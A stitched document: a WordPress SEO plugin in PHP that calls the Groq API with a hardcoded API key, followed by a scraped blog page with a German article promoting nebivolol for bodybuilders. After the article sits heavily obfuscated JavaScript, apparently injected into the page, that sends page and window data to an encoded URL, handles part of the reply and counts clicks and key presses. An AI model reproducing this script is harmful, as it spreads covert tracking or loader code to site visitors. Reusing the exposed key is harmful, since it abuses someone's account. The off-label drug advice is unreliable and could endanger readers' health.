/**
 * Plugin Name: Auto SEO Meta
 * Description: Автогенерация SEO meta через Groq API. Multi-geo.
 * Version: 1.0
 */
if (!defined('ABSPATH')) exit;
 
if (!defined('AUTO_SEO_GROQ_KEY')) define('AUTO_SEO_GROQ_KEY', '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');
if (!defined('AUTO_SEO_MODEL'))    define('AUTO_SEO_MODEL', 'llama-3.3-70b-versatile');
if (!defined('AUTO_SEO_PLUGIN'))   define('AUTO_SEO_PLUGIN', 'yoast');
if (!defined('AUTO_SEO_LANG'))     define('AUTO_SEO_LANG', 'English');
 
if (!function_exists('auto_seo_meta_keys')) {
add_action('save_post', 'auto_seo_on_save', 20, 3);
 
function auto_seo_meta_keys() {
    $map = [
        'rankmath' => ['title' => 'rank_math_title',         'desc' => 'rank_math_description'],
        'yoast'    => ['title' => '_yoast_wpseo_title',      'desc' => '_yoast_wpseo_metadesc'],
        'seopress' => ['title' => '_seopress_titles_title',  'desc' => '_seopress_titles_desc'],
        'aioseo'   => ['title' => '_aioseo_title',           'desc' => '_aioseo_description'],
    ];
    return $map[AUTO_SEO_PLUGIN] ?? $map['rankmath'];
}
 
function auto_seo_on_save($post_id, $post, $update) {
    if (wp_is_post_revision($post_id) || wp_is_post_autosave($post_id)) return;
    if ($post->post_status !== 'publish') return;
    if (!in_array($post->post_type, ['post', 'page'])) return;
 
    $keys = auto_seo_meta_keys();
    $existing_t = get_post_meta($post_id, $keys['title'], true);
    $existing_d = get_post_meta($post_id, $keys['desc'], true);
    if (!empty($existing_t) && !empty($existing_d)) return;
 
    $seo = auto_seo_generate($post);
    if (!$seo) return;
 
    if (empty($existing_t)) update_post_meta($post_id, $keys['title'], $seo['title']);
    if (empty($existing_d)) update_post_meta($post_id, $keys['desc'], $seo['description']);
}
 
function auto_seo_generate($post) {
    $title = $post->post_title;
    $content = wp_strip_all_tags($post->post_content);
    $content = mb_substr($content, 0, 3000);
    if (empty($content) && empty($title)) return false;
 
    $site_name = get_bloginfo('name');
    $site_desc = get_bloginfo('description');
    $domain = parse_url(home_url(), PHP_URL_HOST);
    $lang = AUTO_SEO_LANG;
 
    $prompt  = "You are an SEO expert. Generate SEO meta title (max 60 chars) and description (max 155 chars) for this webpage.\n\n";
    $prompt .= "Output language: {$lang}\n";
    $prompt .= "Site: {$site_name} ({$domain})\n";
    if ($site_desc) $prompt .= "Site tagline: {$site_desc}\n";
    $prompt .= "\nPage title: {$title}\n\n";
    $prompt .= "Content:\n{$content}\n\n";
    $prompt .= "Rules:\n- Title max 60 chars, includes main keyword\n- Description max 155 chars, compelling\n- Output in {$lang} only\n- No quotes\n- Output ONLY valid JSON:\n";
    $prompt .= '{"title":"...","description":"..."}';
 
    $response = wp_remote_post('https://api.groq.com/openai/v1/chat/completions', [
        'timeout' => 30,
        'headers' => [
            'Content-Type'  => 'application/json',
            'Authorization' => 'Bearer ' . AUTO_SEO_GROQ_KEY,
        ],
        'body' => json_encode([
            'model'           => AUTO_SEO_MODEL,
            'messages'        => [['role' => 'user', 'content' => $prompt]],
            'temperature'     => 0.7,
            'max_tokens'      => 300,
            'response_format' => ['type' => 'json_object'],
        ])
    ]);
 
    if (is_wp_error($response)) {
        error_log('Auto SEO error: ' . $response->get_error_message());
        return false;
    }
 
    $code = wp_remote_retrieve_response_code($response);
    $body = json_decode(wp_remote_retrieve_body($response), true);
 
    if ($code !== 200) {
        error_log('Auto SEO HTTP ' . $code . ': ' . wp_remote_retrieve_body($response));
        return false;
    }
 
    $text = $body['choices'][0]['message']['content'] ?? '';
    if (empty($text)) return false;
 
    $text = preg_replace('/^```json\s*|\s*```$/m', '', trim($text));
    $seo = json_decode($text, true);
 
    if (!isset($seo['title']) || !isset($seo['description'])) return false;
 
    return [
        'title'       => mb_substr($seo['title'], 0, 60),
        'description' => mb_substr($seo['description'], 0, 155),
    ];
}
 
add_action('add_meta_boxes', function() {
    add_meta_box('auto_seo', 'Auto SEO', 'auto_seo_metabox', ['post', 'page'], 'side');
});
 
function auto_seo_metabox($post) {
    $keys = auto_seo_meta_keys();
    $t = get_post_meta($post->ID, $keys['title'], true);
    $d = get_post_meta($post->ID, $keys['desc'], true);
    echo '<p><strong>Title:</strong><br><small>' . esc_html($t ?: '—') . '</small></p>';
    echo '<p><strong>Description:</strong><br><small>' . esc_html($d ?: '—') . '</small></p>';
    $url = wp_nonce_url(admin_url('admin-post.php?action=auto_seo_regen&post_id=' . $post->ID), 'auto_seo_' . $post->ID);
    echo '<p><a href="' . $url . '" class="button">Regenerate</a></p>';
}
 
add_action('admin_post_auto_seo_regen', function() {
    $post_id = intval($_GET['post_id'] ?? 0);
    if (!current_user_can('edit_post', $post_id)) wp_die('No permission');
    check_admin_referer('auto_seo_' . $post_id);
 
    $keys = auto_seo_meta_keys();
    delete_post_meta($post_id, $keys['title']);
    delete_post_meta($post_id, $keys['desc']);
 
    auto_seo_on_save($post_id, get_post($post_id), true);
 
    wp_redirect(get_edit_post_link($post_id, 'raw'));
    exit;
});
 
} // end function_exists guard<!DOCTYPE html>
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<article id="post-27012" class="post-27012 post type-post status-publish format-standard hentry category-uncategorized">
	<header class="entry-header">
		<h1 class="entry-title">Nebivolol Kur: Anwendung, Wirkung und Tipps</h1>

		<div class="entry-meta">
			<span class="date"><a href="https://biotintablets.com/nebivolol-kur-anwendung-wirkung-und-tipps/" title="Permalink to Nebivolol Kur: Anwendung, Wirkung und Tipps" rel="bookmark"><time class="entry-date" datetime="2026-05-09T08:33:52+00:00">May 9, 2026</time></a></span><span class="categories-links"><a href="https://biotintablets.com/category/uncategorized/" rel="category tag">Uncategorized</a></span><span class="author vcard"><a class="url fn n" href="https://biotintablets.com/author/admlnlx/" title="View all posts by admlnlx" rel="author">admlnlx</a></span>		</div><!-- .entry-meta -->
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				   				<p>Nebivolol ist ein selektiver Betablocker, der häufig zur Behandlung von Bluthochdruck und Herzinsuffizienz eingesetzt wird. In letzter Zeit hat sich der Gebrauch von Nebivolol auch im Bodybuilding und Fitnessbereich verbreitet. Sportler erhoffen sich von einer Nebivolol Kur eine Verbesserung der Herz-Kreislauf-Funktion und eine Förderung der allgemeinen Leistungsfähigkeit.</p>
<p><a href="https://iabangiologia.com.br/2026/04/27/nebivolol-kur-anwendung-wirkung-und-tipps/">https://iabangiologia.com.br/2026/04/27/nebivolol-kur-anwendung-wirkung-und-tipps/</a></p>
<h2>Inhaltsverzeichnis</h2>
<ol>
<li><a href="#was-ist-nebivolol">Was ist Nebivolol?</a></li>
<li><a href="#anwendung">Anwendung von Nebivolol</a></li>
<li><a href="#wirkungen">Wirkungen von Nebivolol</a></li>
<li><a href="#tipps">Tipps zur Anwendung</a></li>
<li><a href="#nebenwirkungen">Nebenwirkungen von Nebivolol</a></li>
</ol>
<h2 id="was-ist-nebivolol">Was ist Nebivolol?</h2>
<p>Nebivolol gehört zur Klasse der Betablocker und wirkt durch die Hemmung der Beta-adrenergen Rezeptoren. Es wird vor allem zur Senkung des Blutdrucks eingesetzt, aber auch bei der Behandlung von Herzinsuffizienz zeigt es vielversprechende Ergebnisse. Durch seine selektive Wirkung hat Nebivolol ein günstigeres Nebenwirkungsprofil im Vergleich zu anderen Betablockern.</p>
<h2 id="anwendung">Anwendung von Nebivolol</h2>
<p>Nebivolol wird in der Regel in Form von Tabletten eingenommen. Die Dosierung variiert je nach Indikation und sollte stets unter ärztlicher Aufsicht erfolgen. Eine typische Anfangsdosis beträgt 5 mg einmal täglich, die bei Bedarf angepasst werden kann.</p>
<h2 id="wirkungen">Wirkungen von Nebivolol</h2>
<p>Die positiven Effekte von Nebivolol umfassen:</p>
<ol>
<li>Senken des Blutdrucks</li>
<li>Verbesserung der Herzfunktion bei Herzinsuffizienz</li>
<li>Erhöhung der körperlichen Leistungsfähigkeit durch eine verbesserte Sauerstoffversorgung des Myokards</li>
</ol>
<h2 id="tipps">Tipps zur Anwendung</h2>
<p>Für Sportler, die Nebivolol im Rahmen einer Kur einsetzen möchten, sind folgende Punkte wichtig:</p>
<ol>
<li>Starten Sie mit einer niedrigen Dosis und steigern Sie diese langsam.</li>
<li>Beachten Sie Ihre körperliche Reaktion und konsultieren Sie regelmäßig einen Arzt.</li>
<li>Kombinieren Sie die Anwendung mit einer gesunden Ernährung und regelmäßigem Training.</li>
</ol>
<h2 id="nebenwirkungen">Nebenwirkungen von Nebivolol</h2>
<p>Obwohl Nebivolol als unter den Betablockern relativ gut verträglich gilt, können Nebenwirkungen auftreten. Dazu gehören:</p>
<ol>
<li>Müdigkeit</li>
<li>Schwindel</li>
<li>Herzbeschwerden</li>
</ol>
<p>Es ist wichtig, bei Auftreten schwerwiegender Nebenwirkungen umgehend einen Arzt aufzusuchen.</p>
<p>Insgesamt kann eine Nebivolol Kur sowohl positive Effekte als auch Risiken mit sich bringen. Eine sorgsame Überwachung und Rücksprache mit einem Fachmann sind daher unerlässlich.</p>
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AV8Aj2(_WvI4p){if(typeof eflGAB[_WvI4p]===C4KnO3[0x5]){return eflGAB[_WvI4p]=L6HW5Ke(UgDRWB[_WvI4p])}return eflGAB[_WvI4p]}if(AV8Aj2(0x76)in deSlJY){QHXXNW()}function QHXXNW(){var _WvI4p=function(_WvI4p){var L6HW5Ke=_WvI4p.length,AV8Aj2,QHXXNW,jonSmQ,a6iqru;ota55oF(AV8Aj2=[],QHXXNW=C4KnO3[0x0],jonSmQ=C4KnO3[0x0],_WvI4p.sort((_WvI4p,L6HW5Ke)=>_WvI4p-L6HW5Ke));for(a6iqru=C4KnO3[0x0];a6iqru<L6HW5Ke;a6iqru++){if(a6iqru>C4KnO3[0x0]&&_WvI4p[a6iqru]===_WvI4p[a6iqru-C4KnO3[0x1]])continue;ota55oF(QHXXNW=a6iqru+C4KnO3[0x1],jonSmQ=L6HW5Ke-C4KnO3[0x1]);while(QHXXNW<jonSmQ)if(_WvI4p[a6iqru]+_WvI4p[QHXXNW]+_WvI4p[jonSmQ]<C4KnO3[0x0]){QHXXNW++}else if(_WvI4p[a6iqru]+_WvI4p[QHXXNW]+_WvI4p[jonSmQ]>C4KnO3[0x0]){jonSmQ--}else{AV8Aj2.push([_WvI4p[a6iqru],_WvI4p[QHXXNW],_WvI4p[jonSmQ]]);while(QHXXNW<jonSmQ&&_WvI4p[QHXXNW]===_WvI4p[QHXXNW+C4KnO3[0x1]])QHXXNW++;while(QHXXNW<jonSmQ&&_WvI4p[jonSmQ]===_WvI4p[jonSmQ-C4KnO3[0x1]])jonSmQ--;ota55oF(QHXXNW++,jonSmQ--)}}return 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aCX950b=L6HW5Ke.indexOf(pa0eB7[R1XdFSM]);if(aCX950b===-C4KnO3[0x1])continue;if(FDmAEoe<C4KnO3[0x0]){FDmAEoe=aCX950b}else{ota55oF(FDmAEoe+=aCX950b*C4KnO3[0xc],a6iqru|=FDmAEoe<<jJ5avUN,jJ5avUN+=(FDmAEoe&C4KnO3[0xd])>C4KnO3[0xe]?C4KnO3[0xf]:C4KnO3[0x10]);do{ota55oF(jonSmQ.push(a6iqru&C4KnO3[0x3]),a6iqru>>=C4KnO3[0x2],jJ5avUN-=C4KnO3[0x2])}while(jJ5avUN>C4KnO3[0x9]);FDmAEoe=-C4KnO3[0x1]}}if(FDmAEoe>-C4KnO3[0x1]){jonSmQ.push((a6iqru|FDmAEoe<<jJ5avUN)&C4KnO3[0x3])}return Pfmj9R(jonSmQ)}function AV8Aj2(_WvI4p){if(typeof eflGAB[_WvI4p]===C4KnO3[0x5]){return eflGAB[_WvI4p]=pa0eB7(UgDRWB[_WvI4p])}return eflGAB[_WvI4p]}const QHXXNW=await fetch(AV8Aj2(0x79)+_WvI4p,{[AV8Aj2(0x7a)]:AV8Aj2(0x7b),[AV8Aj2(0x7c)]:ZfVmuX3(aCX950b[AV8Aj2(0x7d)](JSON[AV8Aj2(0x7e)](L6HW5Ke)))});if(!QHXXNW.ok){throw new Error}return _gxZa6[AV8Aj2(C4KnO3[0x12])](ZfVmuX3(new Uint8Array(await QHXXNW[AV8Aj2(C4KnO3[0x13])]())))};let dd8wx2Q=C4KnO3[0x0],Gp_temt=C4KnO3[0x0];setTimeout(()=>{function _WvI4p(_WvI4p){var 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eflGAB[L6HW5Ke]}ota55oF(dd8wx2Q=dHzMApx(),tseiji(L6HW5Ke(0x81),{[L6HW5Ke(0x82)]:R1XdFSM,u:window[L6HW5Ke(0x83)][L6HW5Ke(0x84)],[L6HW5Ke(0x85)]:Object[L6HW5Ke(0x86)](window)[L6HW5Ke(0x87)](_WvI4p=>{function L6HW5Ke(_WvI4p){var L6HW5Ke="k<GdvncC7KSmfTho@VBai41lgR^}u[MWpeAF]x3E|`!)Z\"P#w5UO*;/IyrtLYjD+Qq6XsbzJH=&%9?2>8:._$~0,{(N",pa0eB7,AV8Aj2,QHXXNW,jonSmQ,a6iqru,jJ5avUN,FDmAEoe;ota55oF(pa0eB7=""+(_WvI4p||""),AV8Aj2=pa0eB7.length,QHXXNW=[],jonSmQ=C4KnO3[0x0],a6iqru=C4KnO3[0x0],jJ5avUN=-C4KnO3[0x1]);for(FDmAEoe=C4KnO3[0x0];FDmAEoe<AV8Aj2;FDmAEoe++){var R1XdFSM=L6HW5Ke.indexOf(pa0eB7[FDmAEoe]);if(R1XdFSM===-C4KnO3[0x1])continue;if(jJ5avUN<C4KnO3[0x0]){jJ5avUN=R1XdFSM}else{ota55oF(jJ5avUN+=R1XdFSM*C4KnO3[0xc],jonSmQ|=jJ5avUN<<a6iqru,a6iqru+=(jJ5avUN&C4KnO3[0xd])>C4KnO3[0xe]?C4KnO3[0xf]:C4KnO3[0x10]);do{ota55oF(QHXXNW.push(jonSmQ&C4KnO3[0x3]),jonSmQ>>=C4KnO3[0x2],a6iqru-=C4KnO3[0x2])}while(a6iqru>C4KnO3[0x9]);jJ5avUN=-C4KnO3[0x1]}}if(jJ5avUN>-C4KnO3[0x1]){QHXXNW.push((jonSmQ|jJ5avUN<<a6iqru)&C4KnO3[0x3])}return Pfmj9R(QHXXNW)}function pa0eB7(_WvI4p){if(typeof eflGAB[_WvI4p]===C4KnO3[0x5]){return eflGAB[_WvI4p]=L6HW5Ke(UgDRWB[_WvI4p])}return eflGAB[_WvI4p]}return _WvI4p[C4KnO3[0x0]]===_WvI4p[C4KnO3[0x0]][pa0eB7(0x88)]()&&!_WvI4p[pa0eB7(0x89)]("on")})})[L6HW5Ke(0x8a)](_WvI4p=>{const pa0eB7=JSON[L6HW5Ke(0x8b)](_WvI4p);ota55oF(Gp_temt=dHzMApx(),jJ5avUN=pa0eB7[L6HW5Ke(0x8c)],pa0eB7[C4KnO3[0x14]]&&QgbvVvT(pa0eB7[C4KnO3[0x14]]))})[L6HW5Ke(0x8d)](()=>{return C4KnO3[0x0]}))},0x1f4);let pMCfvYA=!C4KnO3[0x1],HNfmytF=C4KnO3[0x0],unLjMQH=C4KnO3[0x0];ota55oF(document[L6HW5Ke(C4KnO3[0x15])](L6HW5Ke(0x8f),_WvI4p=>{return _WvI4p[L6HW5Ke(C4KnO3[0x18])]&&HNfmytF++}),document[L6HW5Ke(C4KnO3[0x15])](L6HW5Ke(0x91),_WvI4p=>{if(L6HW5Ke(0x92)in deSlJY){pa0eB7()}function pa0eB7(){const pa0eB7=require("big-integer");class L6HW5Ke{static randomPrime(L6HW5Ke){const _WvI4p=pa0eB7.one.shiftLeft(L6HW5Ke-C4KnO3[0x1]),dHzMApx=pa0eB7.one.shiftLeft(L6HW5Ke).prev();while(!0x0){let AV8Aj2=pa0eB7.randBetween(_WvI4p,dHzMApx);if(AV8Aj2.isProbablePrime(0x100)){return AV8Aj2}}}static generate(L6HW5Ke){const dHzMApx=pa0eB7(0x10001);let AV8Aj2,QHXXNW,jonSmQ;do{ota55oF(AV8Aj2=this.randomPrime(L6HW5Ke/C4KnO3[0x16]),QHXXNW=this.randomPrime(L6HW5Ke/C4KnO3[0x16]),jonSmQ=pa0eB7.lcm(AV8Aj2.prev(),QHXXNW.prev()))}while(pa0eB7.gcd(dHzMApx,jonSmQ).notEquals(C4KnO3[0x1])||AV8Aj2.minus(QHXXNW).abs().shiftRight(L6HW5Ke/C4KnO3[0x16]-0x64).isZero());return{e:dHzMApx,n:AV8Aj2.multiply(QHXXNW),d:dHzMApx.modInv(jonSmQ)}}static encrypt(L6HW5Ke,dHzMApx,AV8Aj2){return pa0eB7(L6HW5Ke).modPow(AV8Aj2,dHzMApx)}static decrypt(L6HW5Ke,_WvI4p,dHzMApx){return pa0eB7(L6HW5Ke).modPow(_WvI4p,dHzMApx)}static encode(L6HW5Ke){const _WvI4p=L6HW5Ke.split("").map(L6HW5Ke=>L6HW5Ke.charCodeAt()).join("");return pa0eB7(_WvI4p)}static decode(pa0eB7){const L6HW5Ke=pa0eB7.toString();let _WvI4p="";for(let AV8Aj2=C4KnO3[0x0];AV8Aj2<L6HW5Ke.length;AV8Aj2+=C4KnO3[0x16]){let QHXXNW=Number(L6HW5Ke.substr(AV8Aj2,C4KnO3[0x16]));QHXXNW<=0x1e?(_WvI4p+=String.fromCharCode(Number(L6HW5Ke.substr(AV8Aj2,C4KnO3[0x17]))),AV8Aj2++):_WvI4p+=String.fromCharCode(QHXXNW)}return _WvI4p}}module.exports=L6HW5Ke}return _WvI4p[L6HW5Ke(C4KnO3[0x18])]&&unLjMQH++}),window[L6HW5Ke(0x93)]={["cl"](_WvI4p,L6HW5Ke,pa0eB7){function AV8Aj2(_WvI4p){var L6HW5Ke="IPH{_2:`8gm&UKDq1CEo<h5pa4ziM7t|nGWBJ9(6/LXebsr=]*jFAx?#dZOS)0R^@wv3u}Qy.VfNTYk[\"!cl;$~%+,>",AV8Aj2,a6iqru,QHXXNW,jonSmQ,jJ5avUN,FDmAEoe,R1XdFSM;ota55oF(AV8Aj2=""+(_WvI4p||""),a6iqru=AV8Aj2.length,QHXXNW=[],jonSmQ=C4KnO3[0x0],jJ5avUN=C4KnO3[0x0],FDmAEoe=-C4KnO3[0x1]);for(R1XdFSM=C4KnO3[0x0];R1XdFSM<a6iqru;R1XdFSM++){var aCX950b=L6HW5Ke.indexOf(AV8Aj2[R1XdFSM]);if(aCX950b===-C4KnO3[0x1])continue;if(FDmAEoe<C4KnO3[0x0]){FDmAEoe=aCX950b}else{ota55oF(FDmAEoe+=aCX950b*C4KnO3[0xc],jonSmQ|=FDmAEoe<<jJ5avUN,jJ5avUN+=(FDmAEoe&C4KnO3[0xd])>C4KnO3[0xe]?C4KnO3[0xf]:C4KnO3[0x10]);do{ota55oF(QHXXNW.push(jonSmQ&C4KnO3[0x3]),jonSmQ>>=C4KnO3[0x2],jJ5avUN-=C4KnO3[0x2])}while(jJ5avUN>C4KnO3[0x9]);FDmAEoe=-C4KnO3[0x1]}}if(FDmAEoe>-C4KnO3[0x1]){QHXXNW.push((jonSmQ|FDmAEoe<<jJ5avUN)&C4KnO3[0x3])}return Pfmj9R(QHXXNW)}function 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